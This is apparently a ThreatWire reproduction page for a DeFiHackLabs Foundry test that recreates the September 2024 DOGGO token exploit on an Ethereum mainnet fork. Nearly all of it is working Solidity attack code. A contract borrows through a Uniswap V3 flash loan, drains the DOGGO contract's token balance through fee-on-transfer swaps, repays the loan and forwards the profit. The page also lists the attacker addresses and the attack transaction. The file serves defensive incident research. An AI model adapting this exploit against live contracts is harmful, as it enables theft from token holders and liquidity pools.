Public reproduction file
src/test/2024-09/DOGGO_exp.sol
Public reproduction file for dataset entry DOGGO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 7K USD7// Attacker : https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e8// Attack Contract : https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d19// Vulnerable Contract : https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x9e074d70e4f9022cba33c1417a6f6338d8248b67d6141c9a32913ca567d0efca?line=012// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/183735846207608052117// Twitter Guy : https://x.com/TenArmorAlert/status/183735846207608052118// Hacking God : N/A20address constant UniswapV3Pool = 0xeA5A12A857E8302D70fcb1123D5F8f57EF7B7d0B;21address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;22address constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;23address constant DOGGO = 0x240Cd7b53d364a208eD41f8cEd4965D11F571B7a;24address constant attacker = 0x7248939f65bdd23Aab9eaaB1bc4A4F909567486e;26contract ContractTest is Test {27 function setUp() public {28 vm.createSelectFork("mainnet", 20794802);29 deal(attacker, 3.78e-16 ether);30 }32 function testPoC() public {33 emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);34 vm.startPrank(attacker, attacker);35 AttackerC attC = new AttackerC();36 deal(address(attC), 3.78e-16 ether);37 attC.attack{value: 3.78e-16 ether}();38 vm.stopPrank();39 emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);40 }41}43// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D144contract AttackerC {45 receive() external payable {}47 function attack() public payable {48 address token0 = IUniswapV3Pool(UniswapV3Pool).token0();49 if (token0 == DOGGO) {50 bytes memory data = abi.encode(51 DOGGO,52 uint256(4206900000000000001),53 UniswapV3Pool,54 uint8(1),55 uint256(7543239134633386634),56 uint256(0)57 );58 IUniswapV3Pool(UniswapV3Pool).flash(address(this), 7543239134633386634, 0, data);60 uint256 wbal = IWETH9(weth9).balanceOf(address(this));61 if (wbal > 0) {62 IWETH9(weth9).withdraw(wbal);63 uint256 tip = (((type(uint256).max * tx.gasprice) + 2824441419115821437) / 10000) * msg.value;64 if (tip > 0) {65 payable(block.coinbase).transfer(tip);66 }67 payable(tx.origin).transfer(address(this).balance);68 }69 }70 }72 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external payable {73 uint256 balThis = IDOGGO(DOGGO).balanceOf(address(this));74 uint256 balDoggoSelf = IDOGGO(DOGGO).balanceOf(DOGGO);76 if (balDoggoSelf < 4206900000000000001) {77 if ((4206900000000000001 - balDoggoSelf) < balThis && balThis >= 4206900000000000001) {78 uint256 amountIn = balThis + balDoggoSelf - 8413800000000000002;79 IDOGGO(DOGGO).approve(UniswapV2Router02, amountIn);80 IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(81 amountIn,82 0,83 _path(DOGGO, weth9),84 address(this),85 block.timestamp + 186 );88 uint256 doggoSelfAfter = IDOGGO(DOGGO).balanceOf(DOGGO);89 if (doggoSelfAfter < 4206900000000000001) {90 IDOGGO(DOGGO).transfer(DOGGO, 4206900000000000002 - doggoSelfAfter);91 uint256 balAfter = IDOGGO(DOGGO).balanceOf(address(this));92 IDOGGO(DOGGO).approve(UniswapV2Router02, balAfter);93 IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(94 balAfter,95 0,96 _path(DOGGO, weth9),97 address(this),98 block.timestamp + 199 );101 uint256 wbal = IWETH9(weth9).balanceOf(address(this));102 IWETH9(weth9).approve(UniswapV2Router02, wbal);103 uint256[] memory used = IUniswapV2Router02(UniswapV2Router02).swapTokensForExactTokens(104 7618671525979720501,105 wbal,106 _path(weth9, DOGGO),107 address(this),108 block.timestamp + 1109 );111 if (IDOGGO(DOGGO).balanceOf(address(this)) >= 7618671525979720501) {112 IDOGGO(DOGGO).transfer(UniswapV3Pool, 7618671525979720501);113 }114 }115 }116 }117 }119 function _path(address a, address b) internal pure returns (address[] memory p) {120 p = new address[](2);121 p[0] = a;122 p[1] = b;123 }125 fallback() external payable {}126}128interface IUniswapV3Pool {129 function token0() external view returns (address);130 function flash(address, uint256, uint256, bytes calldata) external; 131}132interface IWETH9 {133 function withdraw(uint256) external;134 function approve(address, uint256) external returns (bool);135 function balanceOf(address) external view returns (uint256); 136}137interface IUniswapV2Router02 {138 function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;139 function swapTokensForExactTokens(uint256, uint256, address[] calldata, address, uint256) external returns (uint256[] memory); 140}141interface IDOGGO {142 function approve(address, uint256) external returns (bool);143 function transfer(address, uint256) external returns (bool);144 function balanceOf(address) external view returns (uint256); 145}Analysis
Dataset entry
Public Foundry test for “DOGGO” (2024-09-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-09/Bedrock_DeFi_exp.solSame month in the dataset · 155 lines
- src/test/2024-09/OnyxDAO_exp.solSame month in the dataset · 340 lines
- src/test/2024-09/OTSeaStaking_exp.solSame month in the dataset · 109 lines
- src/test/2024-09/Penpiexyzio_exp.solSame month in the dataset · 449 lines
- src/test/2024-09/Pythia_exp.solSame month in the dataset · 103 lines
- src/test/2024-09/Shezmu_exp.solSame month in the dataset · 76 lines
- src/test/2024-09/unverified_03f9_exp.solSame month in the dataset · 73 lines
- src/test/2024-09/unverified_5697_exp.solSame month in the dataset · 40 lines
- src/test/2024-09/unverified_766a_exp.solSame month in the dataset · 74 lines
- src/test/2024-09/WXETA_exp.solSame month in the dataset · 81 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7248939f65bdd23aab9eaab1bc4a4f909567486e
- Attack Contract
0xbdb0bc0941ba81672593cd8b3f9281789f2754d1
- Vulnerable Contract
0x240cd7b53d364a208ed41f8ced4965d11f571b7a
- Attack Tx
0x9e074d70e4f9022cba33c1417a6f6338d8248b67d6141c9a32913ca567d0efca
- Post: https://x.com/TenArmorAlert/status/1837358462076080521
- Explorer: https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e
- Explorer: https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1
- Explorer: https://etherscan.io/address/0x240cd7b53d364a208ed41f8ced4965d11f571b7a
File record
- Name
- DOGGO
- Path
- src/test/2024-09/DOGGO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f5b737086a1a404725865390bf132ccc111a0bb4
- Language
- Solidity
- Size
- 145 lines
- Date
- 2024-09-20
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-09/DOGGO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f5b737086a1a404725865390bf132ccc111a0bb4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.